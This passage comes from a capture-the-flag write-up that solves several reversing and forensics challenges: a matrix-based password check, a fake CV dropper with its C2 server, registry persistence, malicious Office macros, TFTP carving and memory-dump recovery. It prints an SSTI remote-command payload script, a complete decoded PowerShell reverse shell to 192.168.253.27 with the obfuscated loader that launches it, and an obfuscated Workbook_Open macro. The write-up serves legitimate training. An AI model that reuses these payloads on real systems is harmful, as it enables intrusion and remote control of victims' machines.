with open('asm.txt') as f:
lines = f.readlines()
line_arr = []
a = 0
pattern = r'\b[0-9A-Fa-f]+h\b'
for line in lines:
line_arr.append(line)
for i in range(len(line_arr)):
if 'imul' in line_arr[i]:
tmp = line_arr[i][12:]
a = int(find_hex(line_arr[i]), 16)
if 'sub' in line_arr[i + 1]:
val.append(a * -1)
else:
val.append(a)
if 'cmp' in line_arr[i]:
a = int(find_hex(line_arr[i]), 16)
C.append(a)
C.remove(C[len(C) - 1])
mat = [[]]
for i in range(0, 14):
mat.append(val[14*i: 14*i + 14])
mat.remove(mat[0])
print("B: ")
print(mat)
print("C: ")
print(C)

Assuming our input is vector A, the check is simply A*B = C. Once we have B and C, solve and print the password:

import numpy as np
B = [[110, 451, 840, 504, -855, 70, -367, -766, 378, 346, -806, -400, 297, 749], [42, 946, 705, 570, -977, 338, 545, -764, -223, -879, 418, 377, 644, -100], [808, 973, 972, 809, 234, -26, 299, -46, -823, 610, 55, -164, 899, 725], [102, -969, -192, -189, -157, 721, -665, 910, 21, -334, 640, 225, -296, 80], [749, 138, -341, -140, -569, 601, -646, -474, 340, -406,
151, 621, 992, -491], [70, -735, 579, 120, -238, 153, -197, -235, -174, 655, -101, 523, -327, 962], [612, 702, 949, -467, -8, -336, 961, -996, -88, -412, 938, 609, -383, -359], [179, -99, -224, 36, 892, 170, 51, -286, -317, 313, 988, -332, 733, 691], [258, 277, 211, 220, 929, -860, -237, 321, -412, -694, 972, 938, 587, 441], [964, 773, -169, 135, -230, 48, 527, -976, -148, -716, 86, 548, 437, 387], [598, 343, 385, -774, -579, -9, -883, -419, 547, 512, -869, -86, 438, -924], [163, 690, 557, 982, -154, -118, -672, 99, 883, 21, -953, 532, -562, 549], [337, 339, 607, -391, -684, 460, -341, -757, -557, 379, -887, -178, -660, -718], [682, 149, 131, 603, -119, -737, 925, 593, 162, -637, 616, 761, 20, -277]]
C = [10699, 61677, 417944, 27876, 86237, 124555, 99472, 248916, 284272, 137743, -116586, 141428, -267187, 247270]
A = np.linalg.lstsq(B, C, rcond=None)[0]
print(A)
x = [113, 50, 48, 79, 75,51,54,81,66,105,87,107,90 ,84]
print("Pass: ", end = "")
for c in x:
print(chr(c), end = "")

Enter the password and get the flag:

Flag: CHH{C00k13_4R3n4}

CV Malware

Description

Recently, attackers have been compromising victims via malware embedded in Word documents. Once executed, the malware exfiltrates data to a C&C server. Can the hacker be hacked? Let’s go threat hunting!

Download challenge: https://drive.google.com/file/d/1uscuEYlMwBpdV77UCHjtMEUxXsUBrzrz/view?usp=sharing (pass: cookiehanhoan)

SHA-256 (c***.exe) = 61b07970c0a3f4a7e3090aa5d65d48cb0be49c203ffae358ff886a2c2592829f

Hint: The FLAG is on the host server — connect correctly and exploit.

Solution

Extracting updated-cv-pentester.docx:

After extraction, Windows Defender immediately flags a file…

That’s the most suspicious file.

Decoding the hex above:

server:
host: http://REPLACE_HOST_HERE
secret: SecR3TtOKen

Likely we replace HOST with the running web challenge URL.

Decode the base64 file:

It’s an executable. Open in IDA:

Continue by inspecting the Download function:

Visit the challenge and download /static/client.exe.

Switch to analyzing client.exe.

Inspect the main function:

We notice main_sendPostRequest — likely sending requests to the challenge server. Reading further, main_loadallconfigs looks for a companion config file. We recall the hex-decoded secret had a server: hostname + secret YAML-like structure, but YAML parsing failed. Switching to INI format works.

Edit config.ini to:

server:
host: http://HOST
secret: SecR3TtOKen

Using Wireshark to capture traffic:

POST / HTTP/1.1
Host: HOST
User-Agent: Go-http-client/1.1
Content-Length: 67
Content-Type: application/json
Secret: SecR3TtOKen
Accept-Encoding: gzip
{"username":"username","hostname":"hostname"}
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 12:49:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 45
Connection: keep-alive
Logged username hostname

So the exe just registers with the C&C and sends system info. Combined with the hint that the flag is on the server, the exe is no longer needed — pentesting the host reveals SSTI. Write a script to extract the flag:

import requests
url = "host"
headers = {
"User-Agent": "Go-http-client/1.1",
"Content-Type": "application/json",
"Secret": "SecR3TtOKen",
"Accept-Encoding": "gzip"
}
payload = {
"username": "{{ "{{" }}''.__class__.mro()[1].__subclasses__()[417]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip(){{ "}}" }}",
"hostname": "okeoke"
}
response = requests.post(url, headers=headers, json=payload)
print(response.text)

Flag: CHH{ExtR@Ct_m4CRo_aNd_h@Ck_C2c_d949ae029dc82b4bba3bf3db654041a4}

Forensic

Registry Notebook

Description

Hoa noticed strange behavior every time he starts his computer. He suspects his recent downloads of questionable videos have gotten him hacked.

Download challenge: https://drive.google.com/file/d/1pShye_YtnUuIObPdnq9PeiIge0Oelsix/view?usp=drive_link (pass: cookiehanhoan)

Solution

Download the challenge and open NTUSER.DAT in Registry Explorer.

Based on the challenge description, search for powershell.exe and cmd.exe to spot anything unusual — and we find this shell entry:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|Write-Line"

Replace Invoke with Write to print the decompressed code instead of executing it:

$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Flag: CHH{N0_4_go_n0_st4r_wh3r3}

Office Automation

Description

After completing a basic office automation course, Hoa can now create malicious document files and plans to use them to hack the world.

Download challenge: https://drive.google.com/file/d/1WrLFE5qA-qJ6iLEQYQqCo0Xb99Yz8mTH/view?usp=drive_link (pass: cookiehanhoan)

Solution

Run olevba Challenge.doc:

...
MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}"
...

Flag: CHH{If_u_w4nt_1_will_aft3rnull_u}

Trivial FTP

Description

Employees of company X used an insecure protocol to transfer files remotely, giving attackers a Man-in-the-Middle opportunity to steal sensitive company data.

Download challenge: https://drive.google.com/file/d/1AqsNR8eKe527iZJf1koNRs1pl9YhK0Ev/view?usp=drive_link (pass: cookiehanhoan)

Solution

Using Wireshark, we capture a TFTP transfer of flag.pdf.

TFTP packets are 516 bytes: 4-byte header (sequence number) + 512 bytes of data. We extract only the 512-byte payload from each packet.

Follow the UDP stream and save as flag.pdf. It needs fixing because TFTP uses netascii encoding:

import re, os
re_from_netascii = re.compile(b'(\x0d\x0a|\x0d\x00)')
CR = b'\x0d'
LF = b'\x0a'
CRLF = CR + LF
NUL = b'\x00'
CRNUL = CR + NUL
if isinstance(os.linesep, bytes):
NL = os.linesep
else:
NL = os.linesep.encode("ascii")
def _convert_from_netascii(match_obj):
if match_obj.group(0) == CRLF:
return NL
elif match_obj.group(0) == CRNUL:
return CR
def from_netascii(data):
"""Convert a netascii-encoded string into a string with platform-specific
newlines.
"""
return re_from_netascii.sub(_convert_from_netascii, data)
with open("flag.pdf", "rb") as f:
t = f.read()
x = b""
for i in range(0, len(t), 516):
x += t[i+4:i+516]
with open("flag_new.pdf", "wb") as f:
f.write(from_netascii(x).replace(b"\r\n", b"\n"))

Flag: CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}

Unfinished Report

Description

Hoa was writing a report for his teacher when his computer suddenly shut down due to a power outage — and he hadn’t saved once. Instead of rewriting the report, Hoa spent 4 hours trying to recover it from a crash dump, but failed. Hoa really needs help.

Download challenge: https://drive.google.com/file/d/19OCHSjzHmzFBoSLYB90nkrZLnREpZ1nG/view?usp=drive_link (pass: cookiehanhoan)

Solution

Use Volatility to analyze MEMORY.DMP:

vol.exe -f "MEMORY.DMP" windows.pslist.PsList

Using pslist, we get the process list. The description points us to WINWORD.EXE — PID: 1736.

vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736

Output:

PID Process Offset HandleValue Type GrantedAccess Name
...
1736 WINWORD.EXE 0xf8a001cebbf0 0x718 Section 0xf0007
1736 WINWORD.EXE 0xfa80040fd2f0 0x71c Event 0x1f0003 OleDfRootC3E09668F74F21C5
1736 WINWORD.EXE 0xfa80041e2070 0x720 File 0x12019f \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
1736 WINWORD.EXE 0xfa8004652e80 0x724 File 0x13019f \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP
...

=> We find the AutoRecovery file — extract it with dumpfiles:

vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736

Final step: rename the .asd file to .zip and extract it.

Search the extracted media folder — there’s an image containing the flag:

Flag: CHH{4ut0R3c0v3r_s4v3_my_l1f3}

Under Control

Description

After Hoa’s previous malicious document was torn apart by Cookie Arena analysts for being too simple, he took an advanced office automation course to build something more sophisticated. He then tested the new malware by phishing his teacher — successfully gaining control of the teacher’s computer and even stealing the upcoming final exam.

Download challenge: https://drive.google.com/file/d/1gISGx8IgR84qTBW7fbXs5HqlED1TESQ-/view?usp=drive_link (pass: cookiehanhoan)

Solution

Open the pcap, follow the HTTP stream and download the Excel file:

Every time we download it, AV immediately flags it — likely a macro. Download to Linux and run olevba to extract the macro code:

Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© = InStr(¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·, Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1))
If ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© > 0 Then
¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« = Mid(»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢, ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©, 1)
¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«
Else
¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1)
End If
Next
ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨ = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»
For ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° = 1 To Len(®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦²)
®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦² = ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶°
Next
For ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» = 2 To Len(£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦)
£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ = 2
Next
For »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· = 3 To Len(»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸)
»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ = »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£·
Next
For ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ = 4 To Len(´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤·)
´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤· = 2
Next
End Function
Sub Workbook_Open()
Dim ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ As Object
Dim ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ As String
Dim ¤¸¿º«¡¬¡°µ²¢¹¾¿¡¼²¥¾®¨¶µ»¾«º½¼»ª²¢¾ª¤»¹¬»¾»¸¤µµ°¡§¬¿§¢¥§¥£¶¢¥©¨ As String
Dim §»¶¬¡¦¹³¾¸¸³££¹´´¸³¥¦´¢¹¥··£°¿²»º¶°°¥©²¢°¾ª«°©«®·½½··´®¹°µµ©½½§¥·°»¢¼¼´¡¦¡«¹ As String
Dim ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ As Integer
¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ = Chr(50) + Chr(48) + Chr(48)
Set ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ = CreateObject("WScript.Shell")
¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ = ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§.SpecialFolders("AppData")
Dim ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼
Dim ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
Dim ¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©¶
Dim ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° As Long
Dim ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» As String
Dim ¿¨¡©§¾¡º·¼½µ¡®¾¥¼½«¹´¥¥¶²°»¤¡·»°¬£°¿¥§¬¸©º¢¾¥·´£¹¥¡½¬¸ª´º°»§¬¥¡£¢¦»·¶ As Long
Dim »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ As String
Dim »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· As Long
Dim ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ As String
Dim °»»¦¡½º®¤¼º¬³¤³º¸¶®¨½®©µ«¢´¾´··¦«º¬º°¥²ª¹«¿º¼£º·¦¢¬°¢¾§µ²° As String
Dim £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ As Long
Dim ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬
Dim ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥
Dim ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ As Integer
Dim ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²
Dim ®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©
¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ = 1
Range("A1").Value = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("4BEiàiuP3x6¿QEi³")
Dim ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ As String
´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³ = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI"
½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³)
MsgBox ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤, vbInformation, ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿")
Dim ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª As Date
Dim ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ As Date
¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª = Date
